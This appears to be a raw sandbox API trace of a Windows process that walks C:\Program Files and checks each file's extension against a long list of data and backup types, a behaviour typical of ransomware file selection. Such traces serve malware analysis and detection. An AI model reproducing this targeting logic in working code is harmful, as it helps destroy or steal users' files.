lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.942] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0034.942] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0034.943] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.943] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0034.944] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0034.944] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f01078 | out: hHeap=0x4b0000) returned 1 [0034.944] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0034.945] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x3ee1068, Size=0x20000) returned 0x3f01078 [0034.945] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0034.946] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0034.946] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef1070 | out: hHeap=0x4b0000) returned 1 [0034.946] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0034.946] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0034.946] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.947] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0034.947] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0034.947] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.947] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0034.947] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0034.947] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef1070 | out: hHeap=0x4b0000) returned 1 [0034.947] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0034.947] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0034.947] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ee1068 | out: hHeap=0x4b0000) returned 1 [0034.947] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0034.947] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0034.949] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.949] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0034.949] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0034.949] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.949] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0034.950] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0034.950] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef1070 | out: hHeap=0x4b0000) returned 1 [0034.950] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0034.950] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0034.950] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ee1068 | out: hHeap=0x4b0000) returned 1 [0034.950] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0034.951] FindClose (in: hFindFile=0x3ec01f0 | out: hFindFile=0x3ec01f0) returned 1 [0034.951] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0034.951] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0034.951] FindClose (in: hFindFile=0x3ec01b0 | out: hFindFile=0x3ec01b0) returned 1 [0034.951] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39206e0 | out: hHeap=0x4b0000) returned 1 [0034.951] FindNextFileW (in: hFindFile=0x3ec0170, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0034.951] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818ac970, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818ac970, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec01b0 [0034.951] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818ac970, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818ac970, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.951] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0034.952] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.952] FindNextFileW (in: hFindFile=0x3ec01f0, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0035.833] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.833] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0035.833] lstrlenW (lpString="16_9-frame-background.png") returned 25 [0035.833] lstrlenW (lpString=".1cd") returned 4 [0035.833] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0035.833] lstrlenW (lpString=".3ds") returned 4 [0035.833] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0035.833] lstrlenW (lpString=".3fr") returned 4 [0035.833] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0035.833] lstrlenW (lpString=".3g2") returned 4 [0035.833] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0035.833] lstrlenW (lpString=".3gp") returned 4 [0035.833] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0035.833] lstrlenW (lpString=".7z") returned 3 [0035.833] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0035.834] lstrlenW (lpString=".accda") returned 6 [0035.834] lstrcmpiW (lpString1=".accda", lpString2="nd.png") returned -1 [0035.834] lstrlenW (lpString=".accdb") returned 6 [0035.834] lstrcmpiW (lpString1=".accdb", lpString2="nd.png") returned -1 [0035.834] lstrlenW (lpString=".accdc") returned 6 [0035.834] lstrcmpiW (lpString1=".accdc", lpString2="nd.png") returned -1 [0035.834] lstrlenW (lpString=".accde") returned 6 [0035.834] lstrcmpiW (lpString1=".accde", lpString2="nd.png") returned -1 [0035.834] lstrlenW (lpString=".accdt") returned 6 [0035.834] lstrcmpiW (lpString1=".accdt", lpString2="nd.png") returned -1 [0035.834] lstrlenW (lpString=".accdw") returned 6 [0035.834] lstrcmpiW (lpString1=".accdw", lpString2="nd.png") returned -1 [0035.834] lstrlenW (lpString=".adb") returned 4 [0035.834] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0035.834] lstrlenW (lpString=".adp") returned 4 [0035.834] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0035.834] lstrlenW (lpString=".ai") returned 3 [0035.834] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0035.834] lstrlenW (lpString=".ai3") returned 4 [0035.834] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0035.834] lstrlenW (lpString=".ai4") returned 4 [0035.834] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0035.834] lstrlenW (lpString=".ai5") returned 4 [0035.834] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0035.834] lstrlenW (lpString=".ai6") returned 4 [0035.834] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0035.834] lstrlenW (lpString=".ai7") returned 4 [0035.834] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0035.834] lstrlenW (lpString=".ai8") returned 4 [0035.834] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0035.834] lstrlenW (lpString=".anim") returned 5 [0035.834] lstrcmpiW (lpString1=".anim", lpString2="d.png") returned -1 [0035.834] lstrlenW (lpString=".arw") returned 4 [0035.834] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0035.835] lstrlenW (lpString=".as") returned 3 [0035.835] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0035.835] lstrlenW (lpString=".asa") returned 4 [0035.835] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0035.835] lstrlenW (lpString=".asc") returned 4 [0035.835] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0035.835] lstrlenW (lpString=".ascx") returned 5 [0035.835] lstrcmpiW (lpString1=".ascx", lpString2="d.png") returned -1 [0035.835] lstrlenW (lpString=".asm") returned 4 [0035.835] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0035.835] lstrlenW (lpString=".asmx") returned 5 [0035.835] lstrcmpiW (lpString1=".asmx", lpString2="d.png") returned -1 [0035.835] lstrlenW (lpString=".asp") returned 4 [0035.835] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0035.835] lstrlenW (lpString=".aspx") returned 5 [0035.835] lstrcmpiW (lpString1=".aspx", lpString2="d.png") returned -1 [0035.835] lstrlenW (lpString=".asr") returned 4 [0035.835] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0035.835] lstrlenW (lpString=".asx") returned 4 [0035.835] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0035.835] lstrlenW (lpString=".avi") returned 4 [0035.835] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0035.835] lstrlenW (lpString=".avs") returned 4 [0035.835] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0035.835] lstrlenW (lpString=".backup") returned 7 [0035.835] lstrcmpiW (lpString1=".backup", lpString2="und.png") returned -1 [0035.835] lstrlenW (lpString=".bak") returned 4 [0035.835] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0035.835] lstrlenW (lpString=".bay") returned 4 [0035.835] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0035.835] lstrlenW (lpString=".bd") returned 3 [0035.835] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0035.835] lstrlenW (lpString=".bin") returned 4 [0035.835] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0035.835] lstrlenW (lpString=".bmp") returned 4 [0035.836] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0035.836] lstrlenW (lpString=".bz2") returned 4 [0035.836] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0035.836] lstrlenW (lpString=".c") returned 2 [0035.836] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0035.836] lstrlenW (lpString=".cdr") returned 4 [0035.836] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0035.836] lstrlenW (lpString=".cer") returned 4 [0035.836] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0035.836] lstrlenW (lpString=".cf") returned 3 [0035.836] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0035.836] lstrlenW (lpString=".cfc") returned 4 [0035.836] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0035.836] lstrlenW (lpString=".cfm") returned 4 [0035.836] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0035.836] lstrlenW (lpString=".cfml") returned 5 [0035.836] lstrcmpiW (lpString1=".cfml", lpString2="d.png") returned -1 [0035.836] lstrlenW (lpString=".cfu") returned 4 [0035.836] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0035.836] lstrlenW (lpString=".chm") returned 4 [0035.836] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0035.836] lstrlenW (lpString=".cin") returned 4 [0035.836] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0035.836] lstrlenW (lpString=".class") returned 6 [0035.836] lstrcmpiW (lpString1=".class", lpString2="nd.png") returned -1 [0035.836] lstrlenW (lpString=".clx") returned 4 [0035.836] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0035.836] lstrlenW (lpString=".config") returned 7 [0035.836] lstrcmpiW (lpString1=".config", lpString2="und.png") returned -1 [0035.836] lstrlenW (lpString=".cpp") returned 4 